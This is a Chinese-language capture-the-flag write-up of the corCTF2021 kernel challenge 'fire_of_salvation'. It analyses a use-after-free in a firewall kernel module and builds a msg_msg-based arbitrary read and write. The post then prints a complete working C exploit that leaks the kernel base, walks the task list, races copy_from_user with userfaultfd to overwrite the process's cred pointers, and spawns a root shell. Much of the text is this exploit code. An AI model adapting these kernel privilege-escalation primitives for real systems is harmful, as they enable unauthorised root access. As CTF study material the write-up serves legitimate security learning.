当前位置: 首页 > article >正文

[msg_msg] corCTF2021 -- fire_of_salvation

前言

msg_msg 是 kernel pwn 中经常用作堆喷的结构体. 其包含一个 0x30 大小的 header. 但 msg_msg 的威力远不如此, 利用 msg_msg 配合其他堆漏洞可以实现任意地址读写的功能.

程序分析

本题给了源码, 可以直接对着源码看. 并且题目给了编译配置文件, 所以可以直接编译一个内核以此来导入符号. 作者给了提示:

Difficulty: insane

Author: D3v17 and FizzBuzz101

Description:
```
Elastic objects in kernel have more power than you think. A kernel config file is provided as well, but some of the important options include:

CONFIG_SLAB=y
CONFIG_SLAB_FREELIST_RANDOM=y
CONFIG_SLAB_FREELIST_HARDEN=y
CONFIG_STATIC_USERMODEHELPER=y
CONFIG_STATIC_USERMODEHELPER_PATH=""
CONFIG_FG_KASLR=y

SMEP, SMAP, and KPTI are of course on. Note that this is an easier variation of the Wall of Perdition challenge.

hint: Using the correct elastic object you can achieve powerful primitives such as arb read and arb write. While arb read for this object has been documented, arb write has not to .
```

Flag: `corctf{MsG_MsG_c4n_d0_m0r3_th@n_sPr@Y}`

值得注意的是本题内核使用的是 slab 分配器而不是 slub. 并且开了 FG_KASLR 保护.

漏洞点

题目给了增/删/改的功能, 其中漏洞点如下:

static long firewall_delete_rule(user_rule_t user_rule, rule_t **firewall_rules, uint8_t idx)
{
    printk(KERN_INFO "[Firewall::Info] firewall_delete_rule() deleting rule!\n");

    if (firewall_rules[idx] == NULL)
    {
        printk(KERN_INFO "[Firewall::Error] firewall_delete_rule() invalid rule slot!\n");
        return ERROR;
    }

    kfree(firewall_rules[idx]);
    firewall_rules[idx] = NULL;

    return SUCCESS;
}


static long firewall_dup_rule(user_rule_t user_rule, rule_t **firewall_rules, uint8_t idx)
{
    uint8_t i;
    rule_t **dup;

    printk(KERN_INFO "[Firewall::Info] firewall_dup_rule() duplicating rule!\n");

    dup = (user_rule.type == INBOUND) ? firewall_rules_out : firewall_rules_in;

    if (firewall_rules[idx] == NULL)
    {
        printk(KERN_INFO "[Firewall::Error] firewall_dup_rule() nothing to duplicate!\n");
        return ERROR;
    }

    if (firewall_rules[idx]->is_duplicated)
    {
        printk(KERN_INFO "[Firewall::Info] firewall_dup_rule() rule already duplicated before!\n");
        return ERROR;
    }

    for (i = 0; i < MAX_RULES; i++)
    {
        if (dup[i] == NULL)
        {
            dup[i] = firewall_rules[idx];
            firewall_rules[idx]->is_duplicated = 1;
            printk(KERN_INFO "[Firewall::Info] firewall_dup_rule() rule duplicated!\n");
            return SUCCESS;
        }
    }

    printk(KERN_INFO "[Firewall::Error] firewall_dup_rule() nowhere to duplicate!\n");

    return ERROR;
}

当执行 dup 时, 会把入口规则的指针直接赋给出口规则. 而在 dele 时只会释放其中一个, 因此造成 UAF.

漏洞利用

这里的修改功能比较有意思

typedef struct
{
    char iface[16];
    char name[16];
    uint32_t ip;
    uint32_t netmask;
    uint16_t proto;
    uint16_t port;
    uint8_t action;
    uint8_t is_duplicated;
    #ifdef EASY_MODE
    char desc[DESC_MAX];
    #endif
} rule_t;

static long firewall_edit_rule(user_rule_t user_rule, rule_t **firewall_rules, uint8_t idx)
{
    printk(KERN_INFO "[Firewall::Info] firewall_edit_rule() editing rule!\n");

    #ifdef EASY_MODE
    printk(KERN_INFO "[Firewall::Error] Note that description editing is not implemented.\n");
    #endif

    if (firewall_rules[idx] == NULL)
    {
        printk(KERN_INFO "[Firewall::Error] firewall_edit_rule() invalid idx!\n");
        return ERROR;
    }
    // 先修改了 iface/name, 即 rule_t 的前 0x20 字节
    memcpy(firewall_rules[idx]->iface, user_rule.iface, 16);
    memcpy(firewall_rules[idx]->name, user_rule.name, 16);
    
    if (in4_pton(user_rule.ip, strnlen(user_rule.ip, 16), (u8 *)&(firewall_rules[idx]->ip), -1, NULL) == 0)
    {
        printk(KERN_ERR "[Firewall::Error] firewall_edit_rule() invalid IP format!\n");
        return ERROR;
    }

    if (in4_pton(user_rule.netmask, strnlen(user_rule.netmask, 16), (u8 *)&(firewall_rules[idx]->netmask), -1, NULL) == 0)
    {
        printk(KERN_ERR "[Firewall::Error] firewall_edit_rule() invalid Netmask format!\n");
        return ERROR;
    }

    firewall_rules[idx]->proto = user_rule.proto;
    firewall_rules[idx]->port = ntohs(user_rule.port);
    firewall_rules[idx]->action = user_rule.action;

    printk(KERN_ERR "[Firewall::Info] firewall_edit_rule() rule edited!\n");

    return SUCCESS;
}

这里就让我们只修改堆块的前 0x30 字节, 因为我们可以给一个无效的 ip 从而在修改完前 0x20 字节后就会直接返回.

这有什么用呢? 我们在看下 msg_msg 结构体:

/* one msg_msg structure for each message */
struct msg_msg {
	struct list_head m_list; // 消息通过双向链表连接
	long m_type;			// 消息类型
	size_t m_ts;			// 消息的大小
	struct msg_msgseg *next;	// 消息数据
	void *security;
	/* the actual message follows immediately */
};

可以看到 0x30 刚好到 m_ts, 所以这里我们就可以避免修改 next.

越界读泄漏内核基址

创建一个大小为 0x1000-0x30+0x20-8 大小的消息去占据 UAF 堆块, 然后修改其 m_ts 实现越界读.这时我们可以堆喷大量的 shm_file_data, 从而去泄漏 init_ipc_ns. 该全局指针不会进行二次随机化, 所以可以绕过 FG_KASLR.

任意读寻找 current task_struct

有了内核基址后, 就可以找到 init_task 地址了, 然后可以利用任意读去遍历其子进程即 tasks 字段, 从而找到当前进程的 task_struct.

而我们知道读 msg_msgseg 时, 其终止的标志为其 next=NULL. 所以这就要求 target_addr - 8 = NULL (当然也不一定这样, 比如 target_addr-0x18=NULL也是可以的, 反正就是要找到一个 NULL 位置). 而这里比较 Nice 的是 tasks-8 就是 NULL. tasks 字段的偏移是 0x298

任意写修改 current cred

当我们调用 msgsnd 系统调用时, 其会调用 load_msg() 将用户空间数据拷贝到内核空间中. 首先是调用 alloc_msg() 分配 msg_msg 单向链表, 之后才是正式的拷贝过程, 即空间的分配与数据的拷贝是分开进行的.

struct msg_msg *load_msg(const void __user *src, size_t len)
{
	struct msg_msg *msg;
	struct msg_msgseg *seg;
	int err = -EFAULT;
	size_t alen;

    // 空间分配
	msg = alloc_msg(len); // 分配 msg 所需空间
	
    // 数据拷贝
	alen = min(len, DATALEN_MSG); // 一个 msg 包含 header 最大为1页
	if (copy_from_user(msg + 1, src, alen)) // msg+1 就是数据空间
		goto out_err;
	// 当消息的长度大于0xfd0时, 注意复制结束的标志是 seg->next = NULL
	for (seg = msg->next; seg != NULL; seg = seg->next) { // 0xfd0之后的数据存储在 msg_msgseg 结构体中
		len -= alen;								// msg_msgseg 包含 header 最大也是1页
		src = (char __user *)src + alen;
		alen = min(len, DATALEN_SEG);
		if (copy_from_user(seg + 1, src, alen))
			goto out_err;
	}
......
}

如果在拷贝时利用 userfaultfd/FUSE 将拷贝停下来, 在子进程中篡改 msg_msg 的 next 指针, 在恢复拷贝之后便会向我们篡改后的目标地址上写入数据,从而实现任意地址写

并且 real_cred 前也为 NULL:

exp 如下:

#ifndef _GNU_SOURCE
#define _GNU_SOURCE
#endif

#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
#include <fcntl.h>
#include <signal.h>
#include <string.h>
#include <stdint.h>
#include <sys/mman.h>
#include <sys/syscall.h>
#include <sys/ioctl.h>
#include <sched.h>
#include <linux/keyctl.h>
#include <ctype.h>
#include <pthread.h>
#include <sys/types.h>
#include <linux/userfaultfd.h>
#include <sys/sem.h>
#include <semaphore.h>
#include <poll.h>
#include <sys/ipc.h>
#include <sys/msg.h>
#include <asm/ldt.h>
#include <sys/shm.h>
#include <sys/wait.h>
#include <sys/socket.h>
#include <linux/if_packet.h>

# define EASY_MODE
#define ADD_RULE 0x1337babe
#define DELE_RULE 0xdeadbabe
#define EDIT_RULE 0x1337beef
#define SHOW_RULE 0xdeadbeef
#define DUP_RULE 0xbaad5aad

#define ERROR -1
#define SUCCESS 0
#define MAX_RULES 0x80

#define INBOUND 0
#define OUTBOUND 1
#define SKIP -1

#ifdef EASY_MODE
#define DESC_MAX 0x800
#endif

typedef struct
{
    char iface[16];
    char name[16];
    char ip[16];
    char netmask[16];
    uint8_t idx; // buf[64]
    uint8_t type; // buf[65]
    uint16_t proto;
    uint16_t port;
    uint8_t action;
    #ifdef EASY_MODE
    char desc[DESC_MAX];
    #endif
} user_rule_t;

void convert(char* buf, uint32_t num)
{
        sprintf(buf, "%d.%d.%d.%d", num&0xff, (num>>8)&0xff, (num>>16)&0xff, (num>>24)&0xff);
}

void generate(char* buf, user_rule_t* rule)
{
        char tmp[16] = { 0 };
        uint32_t ip = *(uint32_t*)&buf[32];
        uint32_t netmask = *(uint32_t*)&buf[36];

        memset(tmp, 0, sizeof(tmp));
        convert(tmp, ip);
        memcpy(rule->ip, tmp, 16);

        memset(tmp, 0, sizeof(tmp));
        convert(tmp, netmask);
        memcpy(rule->netmask, tmp, 16);

        memcpy(rule->iface, buf, 16);
        memcpy(rule->name, &buf[16], 16);
        memcpy(&rule->proto, &buf[0x28], 2);
        memcpy(&rule->port, &buf[0x28+2], 2);
        memcpy(&rule->action, &buf[0x28+2+2], 1);
}

int fd;
void add(uint8_t idx, char* buf, int type)
{
        user_rule_t rule = { 0 };
        generate(buf, &rule);
        rule.idx = idx;
        rule.type = type;
        ioctl(fd, ADD_RULE, &rule);
}

void dele(uint8_t idx, int type)
{
        user_rule_t rule = { 0 };
        rule.idx = idx;
        rule.type = type;
        ioctl(fd, DELE_RULE, &rule);
}

void edit(uint8_t idx, char* buf, int type, int flag)
{
        user_rule_t rule = { 0 };
        generate(buf, &rule);
        rule.idx = idx;
        rule.type = type;
        if (flag)
        {
                strcpy(rule.ip, "invalid");
                strcpy(rule.netmask, "invalid");
        }
        ioctl(fd, EDIT_RULE, &rule);
}

void dupl(uint8_t idx, int type)
{
        user_rule_t rule = { 0 };
        rule.idx = idx;
        rule.type = type;
        ioctl(fd, DUP_RULE, &rule);
}

void err_exit(char *msg)
{
    printf("\033[31m\033[1m[x] Error at: \033[0m%s\n", msg);
    sleep(5);
    exit(EXIT_FAILURE);
}

void info(char *msg)
{
    printf("\033[32m\033[1m[+] %s\n\033[0m", msg);
}

void hexx(char *msg, size_t value)
{
    printf("\033[32m\033[1m[+] %s: \033[0m%#lx\n", msg, value);
}

void binary_dump(char *desc, void *addr, int len) {
    uint64_t *buf64 = (uint64_t *) addr;
    uint8_t *buf8 = (uint8_t *) addr;
    if (desc != NULL) {
        printf("\033[33m[*] %s:\n\033[0m", desc);
    }
    for (int i = 0; i < len / 8; i += 4) {
        printf("  %04x", i * 8);
        for (int j = 0; j < 4; j++) {
            i + j < len / 8 ? printf(" 0x%016lx", buf64[i + j]) : printf("                   ");
        }
        printf("   ");
        for (int j = 0; j < 32 && j + i * 8 < len; j++) {
            printf("%c", isprint(buf8[i * 8 + j]) ? buf8[i * 8 + j] : '.');
        }
        puts("");
    }
}

/* root checker and shell poper */
void get_root_shell(void)
{
    if(getuid()) {
        puts("\033[31m\033[1m[x] Failed to get the root!\033[0m");
        exit(EXIT_FAILURE);
    }

    puts("\033[32m\033[1m[+] Successful to get the root. \033[0m");
    puts("\033[34m\033[1m[*] Execve root shell now...\033[0m");

    system("/bin/sh");

    exit(EXIT_SUCCESS);
}

/* bind the process to specific core */
void bind_core(int core)
{
    cpu_set_t cpu_set;

    CPU_ZERO(&cpu_set);
    CPU_SET(core, &cpu_set);
    sched_setaffinity(getpid(), sizeof(cpu_set), &cpu_set);

    printf("\033[34m\033[1m[*] Process binded to core \033[0m%d\n", core);
}

struct msg_buf {
        long m_type;
        char m_text[1];
};

struct msg_msg {
        void* l_next;
        void* l_prev;
        long m_type;
        size_t m_ts;
        void* next;
        void* security;
};

void register_userfaultfd(pthread_t* moniter_thr, void* addr, long len, void* handler)
{
        long uffd;
        struct uffdio_api uffdio_api;
        struct uffdio_register uffdio_register;

        uffd = syscall(__NR_userfaultfd, O_NONBLOCK|O_CLOEXEC);
        if (uffd < 0) perror("[X] syscall for __NR_userfaultfd"), exit(-1);

        uffdio_api.api = UFFD_API;
        uffdio_api.features = 0;
        if (ioctl(uffd, UFFDIO_API, &uffdio_api) < 0) puts("[X] ioctl-UFFDIO_API"), exit(-1);

        uffdio_register.range.start = (long long)addr;
        uffdio_register.range.len = len;
        uffdio_register.mode = UFFDIO_REGISTER_MODE_MISSING;
        if (ioctl(uffd, UFFDIO_REGISTER, &uffdio_register) < 0) puts("[X] ioctl-UFFDIO_REGISTER"), exit(-1);

        if (pthread_create(moniter_thr, NULL, handler, (void*)uffd) < 0)
                puts("[X] pthread_create at register_userfaultfd"), exit(-1);
}

size_t init_ipc_ns;
size_t kernel_offset;
size_t init_task = 0xffffffff81c124c0;
size_t init_cred = 0xffffffff81c33060;

size_t target_idx;
size_t target_addr;
char copy_src[0x1000];

void* handler(void* arg)
{
        struct uffd_msg msg;
        struct uffdio_copy uffdio_copy;
        long uffd = (long)arg;

        for(;;)
        {
                int res;
                struct pollfd pollfd;
                pollfd.fd = uffd;
                pollfd.events = POLLIN;
                if (poll(&pollfd, 1, -1) < 0) puts("[X] error at poll"), exit(-1);

                res = read(uffd, &msg, sizeof(msg));
                if (res == 0) puts("[X] EOF on userfaultfd"), exit(-1);
                if (res ==-1) puts("[X] read uffd in fault_handler_thread"), exit(-1);
                if (msg.event != UFFD_EVENT_PAGEFAULT) puts("[X] Not pagefault"), exit(-1);

                puts("[+] Now in userfaultfd handler");
                *(uint64_t*)(copy_src) = 0;
                *(uint64_t*)(copy_src+8) = init_cred;
                *(uint64_t*)(copy_src+0x10) = init_cred;
                char buffer[0x1000] = { 0 };
                struct msg_msg evil = { 0 };
                evil.m_type = 1;
                evil.m_ts = 0x1000-0x30+0x10;
                evil.next = target_addr;
                memcpy(buffer, &evil, sizeof(evil));
                edit(target_idx, buffer, OUTBOUND, 0);

                uffdio_copy.src = (long long)copy_src;
                uffdio_copy.dst = (long long)msg.arg.pagefault.address & (~0xFFF);
                uffdio_copy.len = 0x1000;
                uffdio_copy.mode = 0;
                uffdio_copy.copy = 0;
                if (ioctl(uffd, UFFDIO_COPY, &uffdio_copy) < 0) puts("[X] ioctl-UFFDIO_COPY"), exit(-1);
        }
}

int main(int argc, char** argv, char** env)
{
        bind_core(0);
        fd = open("/dev/firewall", O_RDWR);
        if (fd < 0) err_exit("open /dev/firewall");

        int qid;
        int shm_id;
        char tmp[0x2000] = { 0 };
        char buffer[0x1000] = { 0 };
        struct msg_msg evil;
        struct msg_buf* msg_buf;
        msg_buf = (struct msg_buf*)tmp;

        add(0, buffer, INBOUND);
        dupl(0, INBOUND);

        if ((qid = msgget(0, IPC_PRIVATE|0666)) < 0) err_exit("msgget");
        dele(0, INBOUND);
        msg_buf->m_type = 1;
        if (msgsnd(qid, msg_buf, 0x1000-0x30+0x20-8, 0) < 0) err_exit("msgsnd");

        for (int i = 0; i < 0x50; i++)
        {
                if ((shm_id = shmget(IPC_PRIVATE, 100, 0666)) < 0) err_exit("shmget");
                if (shmat(shm_id, NULL, 0) < 0) err_exit("shmat");
        }

        memset(&evil, 0, sizeof(evil));
        evil.m_type = 1;
        evil.m_ts = 0x1000-0x30+0x1000-0x8;
        memcpy(buffer, &evil, sizeof(evil));
        edit(0, buffer, OUTBOUND, 1);
        int res = msgrcv(qid, msg_buf, 0x1000-0x30+0x1000-0x8, 0, MSG_COPY|IPC_NOWAIT|MSG_NOERROR);
        if (res < 0x1000-0x30+0x20-8) err_exit("failed to hit UAF chunk");
        binary_dump("OOR DATA", msg_buf->m_text+0xfd0, 0x100);
        for (int i = 0; i < 0xfd0 / 0x20; i++)
        {
                if (((*(size_t*)(msg_buf->m_text+0xfd0+0x20*i))&0xfff) == 0x7a0)
                {
                        init_ipc_ns = *(size_t*)(msg_buf->m_text+0xfd0+0x20*i);
                        break;
                }
        }

        kernel_offset = init_ipc_ns - 0xffffffff81c3d7a0;
        init_task += kernel_offset;
        init_cred += kernel_offset;
        hexx("init_ipc_ns", init_ipc_ns);
        hexx("kernel_offset", kernel_offset);
        hexx("init_task", init_task);
        hexx("init_cred", init_cred);

        uint32_t pid, cur_pid;
        uint64_t prev, curr;
        pid = -1;
        cur_pid = getpid();
        hexx("current pid", cur_pid);
        prev = init_task + 0x298;
        memset(&evil, 0, sizeof(evil));
        memset(buffer, 0, sizeof(buffer));
        evil.m_type = 1;
        evil.m_ts = 0x1000-0x30+0x1000-0x8;

        while (pid != cur_pid)
        {
                curr = prev - 0x298;
                evil.next = prev - 8;
                memcpy(buffer, &evil, sizeof(evil));
                edit(0, buffer, OUTBOUND, 0);
                memset(msg_buf, 0, sizeof(msg_buf));
                msgrcv(qid, msg_buf, 0x1000-0x30+0x1000-0x8, 0, MSG_COPY|IPC_NOWAIT|MSG_NOERROR);
                memcpy(&prev, msg_buf->m_text+0xfd8, 8);
                memcpy(&pid, msg_buf->m_text+0x10d0, 4);
                hexx(" searched pid", pid);
        }
        hexx("current task_struct", curr);

        pthread_t thr;
        char* uffd_buf = mmap(0, 2*0x1000, PROT_READ|PROT_WRITE, MAP_ANONYMOUS|MAP_PRIVATE, -1, 0);
        if (uffd_buf < 0) err_exit("mmap for uffd_uffd");
        msg_buf = (struct msg_buf*)(uffd_buf+0x30);
        msg_buf->m_type = 1;
        register_userfaultfd(&thr, uffd_buf+0x1000, 0x1000, handler);

        target_idx = 1;
        target_addr = curr + 0x530;
        memset(buffer, 0, sizeof(buffer));
        add(1, buffer, INBOUND);
        dupl(1, INBOUND);
        dele(1, INBOUND);
        if (msgsnd(qid, msg_buf, 0x1000-0x30+0x10, 0) < 0) err_exit("msgsnd to triger userfaultfd");
        hexx("UID", getuid());
        system("/bin/sh");
        puts("[+] END");
        return 0;
}

效果如下:


http://www.kler.cn/a/133231.html

相关文章:

  • C#界面设计
  • web——sqliabs靶场——第六关——报错注入和布尔盲注
  • docker与大模型(口语化原理和实操讲解)
  • Java中的集合类与线程安全的讨论
  • 【2025最新计算机毕业设计】基于SpringBoot+Vue电脑在线装机指南教程网站【源码+文档】
  • 字节青训营 数字魔法的加一操作
  • vue中watch监听事件与计算属性的区别
  • Linux 环境删除Conda
  • 【网络奇遇记】我和因特网的初相遇2 —— 三种交换方式
  • DPAFNet:一种用于多模式脑肿瘤分割的残差双路径注意力融合卷积神经网络
  • 表白墙/留言墙 —— 中级SpringBoot项目,MyBatis技术栈MySQL数据库开发,练手项目前后端开发(带完整源码) 全方位全步骤手把手教学
  • 如何检查 Docker 和 Kubernetes 是否可以访问外部网络,特别是用于拉取镜像的仓库?
  • 【软件安装】Centos系统中安装docker容器(华为云HECS云耀服务器)
  • Python3.7+PyQt5 pyuic5将.ui文件转换为.py文件、Python读取配置文件、生成日志
  • uni-app小程序开发使用uView,u-model传入富文本内容过长,真机上无法滚动
  • 【2023年csp-j第二轮】第一题解析
  • 【算法挨揍日记】day29——139. 单词拆分、467. 环绕字符串中唯一的子字符串
  • 【设计一个缓存--针对各种类型的缓存】
  • 【数据分享】2023年我国省市县三级的专精特新“小巨人”企业数量(Excel/Shp格式)
  • 【LeetCode刷题-滑动窗口】-- 239.滑动窗口最大值
  • 【【萌新的SOC学习之 VDMA 彩条显示实验之一】】
  • 【RocketMq系列-01】RocketMq安装和基本概念
  • TG Pro v2.87(mac温度风扇速度控制工具)
  • 拒绝服务攻击工具的编写
  • 永久关机windows系统自动更新
  • linux时间调整